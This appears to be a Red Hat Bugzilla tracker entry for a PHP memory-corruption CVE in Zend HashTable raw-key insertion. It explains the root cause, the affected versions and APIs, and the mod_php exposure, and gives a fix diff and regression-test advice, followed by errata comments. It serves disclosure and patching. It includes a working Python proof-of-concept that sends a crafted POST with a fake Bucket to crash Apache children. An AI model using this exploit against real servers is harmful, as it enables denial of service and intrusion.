Bug 2553995 (CVE-2026-109618) - CVE-2026-109618 php: OOM bailout during request parsing leads to memory corruption and RCE
Summary: CVE-2026-109618 php: OOM bailout during request parsing leads to memory corru...
Keywords:
Status: NEW
Alias: CVE-2026-109618
Deadline: 2026-10-21
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-10-16 09:55 UTC by OSIDB Bzimport
Modified: 2026-10-21 20:27 UTC (History)
9 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2026:87070 0 None None None 2026-10-21 20:05:15 UTC
Red Hat Product Errata RHSA-2026:87071 0 None None None 2026-10-21 20:03:59 UTC
Red Hat Product Errata RHSA-2026:87072 0 None None None 2026-10-21 20:27:51 UTC
Red Hat Product Errata RHSA-2026:87073 0 None None None 2026-10-21 20:22:42 UTC
Red Hat Product Errata RHSA-2026:87079 0 None None None 2026-10-21 20:27:32 UTC
Red Hat Product Errata RHSA-2026:87080 0 None None None 2026-10-21 15:45:16 UTC
Red Hat Product Errata RHSA-2026:87151 0 None None None 2026-10-21 19:58:39 UTC

Description OSIDB Bzimport 2026-10-16 09:55:10 UTC
# PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: `Zend/zend_hash.c`, raw-string insertion APIs

### Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key
allocation fatals. An unauthenticated mod_php request can reach the bug before
the target script runs; later cleanup consumes stale attacker-influenced zval
and key pointers. The resulting critical engine corruption has been developed
into disclosure, arbitrary-free/UAF primitives, and native code execution.

### Details

#### Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

```text
6de54703f055231603816495c55e6e1924cb5e71
Improved zend_hash_str_add/update functions
```

The previous raw-string wrappers allocated the `zend_string` before entering
the insertion helper. The optimized missing-key branch instead deferred that
fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0.
- Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3,
  8.4, 8.5, and the audited PHP 8.6 development revision.
- Total affected minor release lines: 9.
- PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation
and exploit validation cover representative optimized packages and current
development builds rather than every historic binary.

#### Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not
`memory_limit` or OOM. Any non-local exit after the two counters advance and
before the Bucket is initialized can leave the false live entry. A memory-
limit fatal is the demonstrated network-reachable interruption because it
occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key.
2. A fatal/bailout interrupts the key allocation after publication.
3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049.
Allocations before publication, table growth, and cleanup of an abandoned
temporary all fail safely. The fatal must occur in the owned-key allocation,
and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in
this narrow window. OOM is therefore the primary confirmed remote mechanism.
A signal or timeout that only terminates the process is not equivalent to the
malformed-table condition.

#### Technical root cause

The missing-key path in `_zend_hash_str_add_or_update_i()` checks capacity and
then advances both live-entry counters before allocating the key:

```c
ZEND_HASH_IF_FULL_DO_RESIZE(ht);

add_to_hash:
idx = ht->nNumUsed++;
ht->nNumOfElements++;
p = ht->arData + idx;

p->key = key = zend_string_init(
    str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT);

p->h = ZSTR_H(key) = h;
HT_FLAGS(ht) &= ~HASH_FLAG_STATIC_KEYS;
ZVAL_COPY_VALUE(&p->val, pData);
/* link Bucket into hash index */
```

`zend_string_init()` can raise a memory-limit fatal and never return. At that
point:

- `nNumUsed` and `nNumOfElements` claim the Bucket is live;
- the Bucket's zval, hash, key pointer, and collision link are stale bytes;
- PHP never initialized or owned the key; and
- the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot
find the entry, while linear consumers use `nNumUsed` and include it. The
generic HashTable destructor does exactly that:

```c
Bucket *p = ht->arData;
Bucket *end = p + ht->nNumUsed;

do {
    i_zval_ptr_dtor(&p->val);
    if (EXPECTED(p->key)) {
        zend_string_release_ex(p->key, false);
    }
} while (++p != end);
```

Stale `p->val` controls which zval cleanup branch runs; stale `p->key`
controls an independent string reference decrement/release. Reuse can make
either field point to live data allocated after the failed insertion.

#### Affected APIs

Affected missing-nonnumeric-key paths include:

- `zend_hash_str_add()` and `zend_hash_str_add_new()`;
- `zend_hash_str_update()` and `zend_hash_str_update_ind()`;
- `zend_hash_str_lookup()`; and
- raw-string wrappers that reach the same internal missing-key branch.

`zend_symtable_str_*()` is affected when the supplied key is nonnumeric.
Numeric-index insertion and insertion using an already allocated
`zend_string *` do not contain this exact post-counter allocation. Existing-
key replacement also bypasses the missing-key publication window.

#### Generic request-variable entry point

Bracketed variables cause `php_register_variable_ex()` to create missing
intermediate arrays. The missing root is passed as a raw pointer/length:

```c
gpc_element_p = zend_symtable_str_find(symtable1, index, index_len);
if (!gpc_element_p) {
    zval tmp;
    array_init(&tmp);
    gpc_element_p = zend_symtable_str_update_ind(
        symtable1, index, index_len, &tmp);
}
```

The resulting path is:

```text
form parser
  -> php_register_variable_ex()
  -> zend_symtable_str_update_ind()
  -> zend_hash_str_update_ind()
  -> _zend_hash_str_add_or_update_i()
```

The following distinction is load-bearing:

```text
name=value           normally uses a prebuilt key
name[child]=value    missing nonnumeric root reaches CAND-049
123[child]=value     numeric-index path, not this allocation window
```

One nested variable still counts as one input against `max_input_vars`; no
over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or
CAND-056's lengthless multipart stream supplies the required pressure before
a final missing nested root. Both producers reach this helper before a fixed
target file executes; neither changes the CAND-049 ownership root.

#### SAPI and lifetime boundaries

Apache mod_php wraps request startup in a bailout handler and subsequently
runs its request destructor:

```c
zend_first_try {
    if (php_apache_request_ctor(r, ctx) != SUCCESS) {
        zend_bailout();
    }
} zend_end_try();

if (!parent_req) {
    php_apache_request_dtor(r);
}
```

This supplies all three requirements: native request parsing produces the
malformed entry, the request-global table survives the fatal, and shutdown
linearly destroys it. The persistent child can also retain allocator state
across requests. The confirmed generic production boundary is NTS prefork;
threaded module configurations share the root but require independent
lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request
and terminates that worker. It therefore confirms the source fault but does
not run the same stale-Bucket consumer or reuse the allocator. FPM becomes
materially exposed when application code invokes an affected parser after
normal startup and stores the incomplete table in a global, object, resource,
or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s `request_parse_body()` is a strong example: it temporarily replaces
global POST/FILES zvals and restores them only after parsing returns. A fatal
skips restoration while normal FPM request shutdown remains active. Frameworks
that call it for non-POST methods can reach the producer, but route exposure,
remaining memory, owner, and final consumer are application-specific. The
source defect must not be described as generic FPM RCE without those links.

#### Recommended fix

Restore transactional ordering by allocating the key before publishing the
new Bucket:

```diff
 add_to_hash:
+    key = zend_string_init(
+        str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT);
     idx = ht->nNumUsed++;
     ht->nNumOfElements++;
     p = ht->arData + idx;
-    p->key = key = zend_string_init(
-        str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT);
+    p->key = key;
```

Alternatively, all non-local failure paths must roll back both counters and
leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding
request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key
insertion and then perform lookup, iteration, destruction, copy, merge, and
request shutdown. Tests should cover each exported raw-key wrapper and both
packed-to-mixed and already-mixed tables.

### PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS
mod_php with `memory_limit=32M`, `post_max_size=8M`, and
`display_errors=Off`. Only the memory limit is reduced to keep the request
short; the stock-limit paths are described above. Serve:

```php
<?php echo "hi\n";
```

Run this Python client:

```python
import socket, struct
from urllib.parse import quote_from_bytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", content_type=None):
    h = [f"{method} {path} HTTP/1.1", f"Host: {host}",
         "Connection: close", f"Content-Length: {len(body)}"]
    if content_type: h.append(f"Content-Type: {content_type}")
    wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body
    try:
        with socket.create_connection((host, port), 10) as s:
            s.settimeout(60); s.sendall(wire); out = b""
            while data := s.recv(65536): out += data
            return out
    except OSError:
        return b""

warm = b"&".join(b"w%d=" % i + b"W" * 264 for i in range(8))
request("POST", target, warm, "application/x-www-form-urlencoded")
request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0,
                   0x1337, 0x4141414141414141)
donor = b"CONTROLLED_BUCKET".ljust(232, b"D") + fake
query = []
for i in range(9):
    value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A")
    query.append("q%d=%s" % (i, quote_from_bytes(value, safe="")))
query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" * 264 for i in range(6)]
body = b"&".join(prefix + [b"R" * 7_700_000 + b"[x]=v"])
response = request("POST", target + "?" + "&".join(query), body,
                   "application/x-www-form-urlencoded")
print(response.partition(b"\r\n")[0] or b"EOF")
```

The final key allocation emits the 32 MiB OOM, but mod_php then destroys the
partially published Bucket and dereferences `0x4141414141414141`; the affected
Apache child exits with SIGSEGV. A version changing the last qword to zero is
the noncrashing donor control. The target's `hi` is never printed.

### Impact

Unauthenticated engine memory corruption before application execution, with
validated disclosure, arbitrary-free/UAF primitives, and native code
execution under mod_php.

Comment 4 Jon Orris 2026-10-21 15:45:15 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 8

Via RHSA-2026:87080 https://access.redhat.com/errata/RHSA-2026:87080

Comment 5 Jon Orris 2026-10-21 19:58:38 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 9

Via RHSA-2026:87151 https://access.redhat.com/errata/RHSA-2026:87151

Comment 6 Jon Orris 2026-10-21 20:03:58 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 10

Via RHSA-2026:87071 https://access.redhat.com/errata/RHSA-2026:87071

Comment 7 Jon Orris 2026-10-21 20:05:14 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 10

Via RHSA-2026:87070 https://access.redhat.com/errata/RHSA-2026:87070

Comment 8 Jon Orris 2026-10-21 20:22:41 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 8

Via RHSA-2026:87073 https://access.redhat.com/errata/RHSA-2026:87073

Comment 9 Jon Orris 2026-10-21 20:27:31 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 9

Via RHSA-2026:87079 https://access.redhat.com/errata/RHSA-2026:87079

Comment 10 Jon Orris 2026-10-21 20:27:50 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 9

Via RHSA-2026:87072 https://access.redhat.com/errata/RHSA-2026:87072


Note You need to log in before you can comment on or make changes to this bug.